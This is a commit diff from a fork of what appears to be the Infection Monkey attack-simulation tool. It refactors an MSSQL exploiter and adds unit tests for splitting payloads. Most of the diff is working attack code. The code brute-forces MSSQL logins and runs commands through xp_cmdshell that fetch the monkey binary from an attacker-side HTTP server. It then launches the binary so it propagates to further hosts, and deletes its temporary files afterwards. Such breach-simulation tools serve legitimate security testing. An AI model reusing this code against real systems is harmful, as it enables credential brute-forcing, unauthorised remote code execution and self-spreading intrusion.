forked from p15670423/monkey
Added unit tests, improved mssql readability
This commit is contained in:
parent
b733cf3389
commit
63d07f9c4b
|
@ -1,16 +1,18 @@
|
|||
import logging
|
||||
import os
|
||||
import sys
|
||||
from time import sleep
|
||||
|
||||
import pymssql
|
||||
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \
|
||||
from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, try_get_target_monkey, \
|
||||
build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
|
||||
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
@ -42,114 +44,110 @@ class MSSQLExploiter(HostExploiter):
|
|||
def __init__(self, host):
|
||||
super(MSSQLExploiter, self).__init__(host)
|
||||
self.cursor = None
|
||||
self.monkey_binary_on_host_path = None
|
||||
self.monkey_server = None
|
||||
self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME)
|
||||
|
||||
def _exploit_host(self):
|
||||
# Brute force to get connection
|
||||
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
||||
self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
|
||||
|
||||
if not self.cursor:
|
||||
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
||||
return False
|
||||
|
||||
# Get monkey exe for host and it's path
|
||||
src_path = get_target_monkey(self.host)
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
# Create server for http download and wait for it's startup.
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter failed, http transfer creation failed.")
|
||||
return False
|
||||
LOG.info("Started http server on %s", http_path)
|
||||
|
||||
dst_path = get_monkey_dest_path(http_path)
|
||||
tmp_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME)
|
||||
|
||||
# Create dir for payload
|
||||
self.create_temp_dir()
|
||||
|
||||
try:
|
||||
self.create_empty_payload_file()
|
||||
|
||||
self.start_monkey_server()
|
||||
self.upload_monkey()
|
||||
self.stop_monkey_server()
|
||||
|
||||
# Clear payload to pass in another command
|
||||
self.create_empty_payload_file()
|
||||
|
||||
self.run_monkey()
|
||||
|
||||
self.remove_temp_dir()
|
||||
except Exception as e:
|
||||
raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2]
|
||||
|
||||
return True
|
||||
|
||||
def run_payload_file(self):
|
||||
file_running_command = MSSQLLimitedSizePayload(self.payload_file_path)
|
||||
return self.run_mssql_command(file_running_command)
|
||||
|
||||
def create_temp_dir(self):
|
||||
dir_creation_command = MSSQLLimitedSizePayload(command="mkdir %s" % MSSQLExploiter.TMP_DIR_PATH)
|
||||
if not self.try_to_run_mssql_command(dir_creation_command):
|
||||
return False
|
||||
self.run_mssql_command(dir_creation_command)
|
||||
|
||||
if not self.create_empty_payload_file(tmp_file_path):
|
||||
return True
|
||||
def create_empty_payload_file(self):
|
||||
suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path}
|
||||
tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
|
||||
self.run_mssql_command(tmp_file_creation_command)
|
||||
|
||||
# Form download command
|
||||
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path,
|
||||
'dst_path': dst_path}
|
||||
# Form suffix for appending to temp payload file
|
||||
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path}
|
||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||
monkey_download_command = MSSQLLimitedSizePayload(command=monkey_download_command,
|
||||
suffix=suffix,
|
||||
prefix=prefix)
|
||||
if not self.try_to_run_mssql_command(monkey_download_command):
|
||||
return True
|
||||
self.run_file(tmp_file_path)
|
||||
def run_mssql_command(self, mssql_command):
|
||||
array_of_commands = mssql_command.split_into_array_of_smaller_payloads()
|
||||
if not array_of_commands:
|
||||
raise Exception("Couldn't execute MSSQL exploiter because payload was too long")
|
||||
self.run_mssql_commands(array_of_commands)
|
||||
|
||||
def run_monkey(self):
|
||||
monkey_launch_command = self.get_monkey_launch_command()
|
||||
self.run_mssql_command(monkey_launch_command)
|
||||
self.run_payload_file()
|
||||
|
||||
def run_mssql_commands(self, cmds):
|
||||
for cmd in cmds:
|
||||
self.cursor.execute(cmd)
|
||||
sleep(MSSQLExploiter.QUERY_BUFFER)
|
||||
|
||||
def upload_monkey(self):
|
||||
monkey_download_command = self.write_download_command_to_payload()
|
||||
self.run_payload_file()
|
||||
self.add_executed_cmd(monkey_download_command.command)
|
||||
|
||||
# Clear payload to pass in another command
|
||||
if not self.create_empty_payload_file(tmp_file_path):
|
||||
return True
|
||||
def remove_temp_dir(self):
|
||||
# Remove temporary dir we stored payload at
|
||||
tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % self.payload_file_path)
|
||||
self.run_mssql_command(tmp_file_removal_command)
|
||||
tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH)
|
||||
self.run_mssql_command(tmp_dir_removal_command)
|
||||
|
||||
def start_monkey_server(self):
|
||||
self.monkey_server = MonkeyHTTPServer(self.host)
|
||||
self.monkey_server.start()
|
||||
|
||||
def stop_monkey_server(self):
|
||||
self.monkey_server.stop()
|
||||
|
||||
def write_download_command_to_payload(self):
|
||||
monkey_download_command = self.get_monkey_download_command()
|
||||
self.run_mssql_command(monkey_download_command)
|
||||
return monkey_download_command
|
||||
|
||||
def get_monkey_launch_command(self):
|
||||
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
|
||||
# Form monkey's launch command
|
||||
monkey_args = build_monkey_commandline(self.host,
|
||||
get_monkey_depth() - 1,
|
||||
dst_path)
|
||||
suffix = ">>%s" % tmp_file_path
|
||||
suffix = ">>%s" % self.payload_file_path
|
||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||
monkey_launch_command = MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args),
|
||||
prefix=prefix,
|
||||
suffix=suffix)
|
||||
if not self.try_to_run_mssql_command(monkey_launch_command):
|
||||
return True
|
||||
self.run_file(tmp_file_path)
|
||||
return MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args),
|
||||
prefix=prefix,
|
||||
suffix=suffix)
|
||||
|
||||
# Remove temporary dir we stored payload at
|
||||
tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % tmp_file_path)
|
||||
self.try_to_run_mssql_command(tmp_file_removal_command)
|
||||
tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH)
|
||||
self.try_to_run_mssql_command(tmp_dir_removal_command)
|
||||
|
||||
return True
|
||||
|
||||
def run_file(self, file_path):
|
||||
file_running_command = MSSQLLimitedSizePayload(file_path)
|
||||
return self.try_to_run_mssql_command(file_running_command)
|
||||
|
||||
def create_empty_payload_file(self, file_path):
|
||||
# Create payload file
|
||||
suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': file_path}
|
||||
tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
|
||||
return self.try_to_run_mssql_command(tmp_file_creation_command)
|
||||
|
||||
def try_to_run_mssql_command(self, mssql_command):
|
||||
array_of_commands = mssql_command.split_into_array_of_smaller_payloads()
|
||||
if not array_of_commands:
|
||||
LOG.error("Couldn't execute MSSQL because payload was too long")
|
||||
return False
|
||||
return MSSQLExploiter.execute_commands(self.cursor, array_of_commands)
|
||||
|
||||
@staticmethod
|
||||
def execute_commands(cursor, cmds):
|
||||
"""
|
||||
Executes commands on MSSQL server
|
||||
:param cursor: MSSQL connection
|
||||
:param cmds: list of commands in MSSQL syntax.
|
||||
:return: True if successfully executed, false otherwise.
|
||||
"""
|
||||
try:
|
||||
# Running the cmd on remote host
|
||||
for cmd in cmds:
|
||||
cursor.execute(cmd)
|
||||
sleep(MSSQLExploiter.QUERY_BUFFER)
|
||||
except Exception as e:
|
||||
LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e)
|
||||
return False
|
||||
return True
|
||||
def get_monkey_download_command(self):
|
||||
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
|
||||
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': self.monkey_server.http_path,
|
||||
'dst_path': dst_path}
|
||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path}
|
||||
return MSSQLLimitedSizePayload(command=monkey_download_command,
|
||||
suffix=suffix,
|
||||
prefix=prefix)
|
||||
|
||||
def brute_force(self, host, port, users_passwords_pairs_list):
|
||||
"""
|
||||
|
@ -185,7 +183,7 @@ class MSSQLExploiter(HostExploiter):
|
|||
|
||||
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
|
||||
'aborting brute force'.format(host, port))
|
||||
return None
|
||||
raise Exception("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
||||
|
||||
|
||||
class MSSQLLimitedSizePayload(LimitedSizePayload):
|
||||
|
|
|
@ -0,0 +1,5 @@
|
|||
|
||||
|
||||
class ExploitingVulnerableMachineError(Exception):
|
||||
""" Raise when exploiter failed, but machine is vulnerable"""
|
||||
pass
|
|
@ -47,6 +47,13 @@ def get_interface_to_target(dst):
|
|||
return ret[1]
|
||||
|
||||
|
||||
def try_get_target_monkey(host):
|
||||
src_path = get_target_monkey(host)
|
||||
if not src_path:
|
||||
raise Exception("Can't find suitable monkey executable for host %r", host)
|
||||
return src_path
|
||||
|
||||
|
||||
def get_target_monkey(host):
|
||||
from infection_monkey.control import ControlClient
|
||||
import platform
|
||||
|
|
|
@ -7,8 +7,8 @@ from threading import Lock
|
|||
from infection_monkey.network.firewall import app as firewall
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
|
||||
from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
|
||||
from infection_monkey.model import DOWNLOAD_TIMEOUT
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -16,6 +16,7 @@ LOG = logging.getLogger(__name__)
|
|||
|
||||
|
||||
class HTTPTools(object):
|
||||
|
||||
@staticmethod
|
||||
def create_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
if not local_port:
|
||||
|
@ -33,6 +34,14 @@ class HTTPTools(object):
|
|||
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||
|
||||
@staticmethod
|
||||
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port)
|
||||
if not http_path:
|
||||
raise Exception("Http transfer creation failed.")
|
||||
LOG.info("Started http server on %s", http_path)
|
||||
return http_path, http_thread
|
||||
|
||||
@staticmethod
|
||||
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
"""
|
||||
|
@ -60,3 +69,22 @@ class HTTPTools(object):
|
|||
httpd.start()
|
||||
lock.acquire()
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||
|
||||
|
||||
class MonkeyHTTPServer(HTTPTools):
|
||||
def __init__(self, host):
|
||||
super(MonkeyHTTPServer, self).__init__()
|
||||
self.http_path = None
|
||||
self.http_thread = None
|
||||
self.host = host
|
||||
|
||||
def start(self):
|
||||
# Get monkey exe for host and it's path
|
||||
src_path = try_get_target_monkey(self.host)
|
||||
self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path)
|
||||
|
||||
def stop(self):
|
||||
if not self.http_path or not self.http_thread:
|
||||
raise Exception("Can't stop http server that wasn't started!")
|
||||
self.http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
self.http_thread.stop()
|
||||
|
|
|
@ -10,18 +10,13 @@ class Payload(object):
|
|||
"""
|
||||
|
||||
def __init__(self, command, prefix="", suffix=""):
|
||||
"""
|
||||
:param command: command
|
||||
:param prefix: commands prefix
|
||||
:param suffix: commands suffix
|
||||
"""
|
||||
self.command = command
|
||||
self.prefix = prefix
|
||||
self.suffix = suffix
|
||||
|
||||
def get_payload(self, command=""):
|
||||
"""
|
||||
Returns prefixed and suffixed command (full payload)
|
||||
Returns prefixed and suffixed command (payload)
|
||||
:param command: Command to suffix/prefix. If no command is passed than objects' property is used
|
||||
:return: prefixed and suffixed command (full payload)
|
||||
"""
|
||||
|
@ -50,9 +45,9 @@ class LimitedSizePayload(Payload):
|
|||
|
||||
def split_into_array_of_smaller_payloads(self):
|
||||
if self.is_suffix_and_prefix_too_long():
|
||||
LOG.error("Can't split command into smaller sub-commands because commands' prefix and suffix already "
|
||||
"exceeds required length of command.")
|
||||
return False
|
||||
raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already "
|
||||
"exceeds required length of command.")
|
||||
|
||||
elif self.command == "":
|
||||
return [self.prefix+self.suffix]
|
||||
wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
|
||||
|
@ -62,7 +57,7 @@ class LimitedSizePayload(Payload):
|
|||
return commands
|
||||
|
||||
def get_max_sub_payload_length(self):
|
||||
return self.max_length - len(self.prefix) - len(self.suffix) - 1
|
||||
return self.max_length - len(self.prefix) - len(self.suffix)
|
||||
|
||||
def payload_is_too_long(self, command):
|
||||
return len(command) > self.max_length
|
||||
return len(command) >= self.max_length
|
||||
|
|
|
@ -0,0 +1,32 @@
|
|||
from unittest import TestCase
|
||||
from payload_parsing import Payload, LimitedSizePayload
|
||||
|
||||
|
||||
class TestPayload(TestCase):
|
||||
def test_get_payload(self):
|
||||
test_str1 = "abc"
|
||||
test_str2 = "atc"
|
||||
payload = Payload(command="b", prefix="a", suffix="c")
|
||||
assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2
|
||||
|
||||
def test_is_suffix_and_prefix_too_long(self):
|
||||
pld_fail = LimitedSizePayload("b", 2, "a", "c")
|
||||
pld_success = LimitedSizePayload("b", 3, "a", "c")
|
||||
assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long()
|
||||
|
||||
def test_split_into_array_of_smaller_payloads(self):
|
||||
test_str1 = "123456789"
|
||||
pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix")
|
||||
array1 = pld1.split_into_array_of_smaller_payloads()
|
||||
test1 = bool(array1[0] == "prefix1234suffix" and
|
||||
array1[1] == "prefix5678suffix" and
|
||||
array1[2] == "prefix9suffix")
|
||||
|
||||
test_str2 = "12345678"
|
||||
pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix")
|
||||
array2 = pld2.split_into_array_of_smaller_payloads()
|
||||
test2 = bool(array2[0] == "prefix1234suffix" and
|
||||
array2[1] == "prefix5678suffix" and len(array2) == 2)
|
||||
|
||||
assert test1 and test2
|
||||
|
|
@ -26,6 +26,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader
|
|||
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -300,7 +301,11 @@ class InfectionMonkey(object):
|
|||
return True
|
||||
else:
|
||||
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
|
||||
|
||||
except ExploitingVulnerableMachineError as exc:
|
||||
LOG.error("Exception while attacking %s using %s: %s",
|
||||
machine, exploiter.__class__.__name__, exc)
|
||||
self.successfully_exploited(machine, exploiter)
|
||||
return True
|
||||
except Exception as exc:
|
||||
LOG.exception("Exception while attacking %s using %s: %s",
|
||||
machine, exploiter.__class__.__name__, exc)
|
||||
|
|
Loading…
Reference in New Issue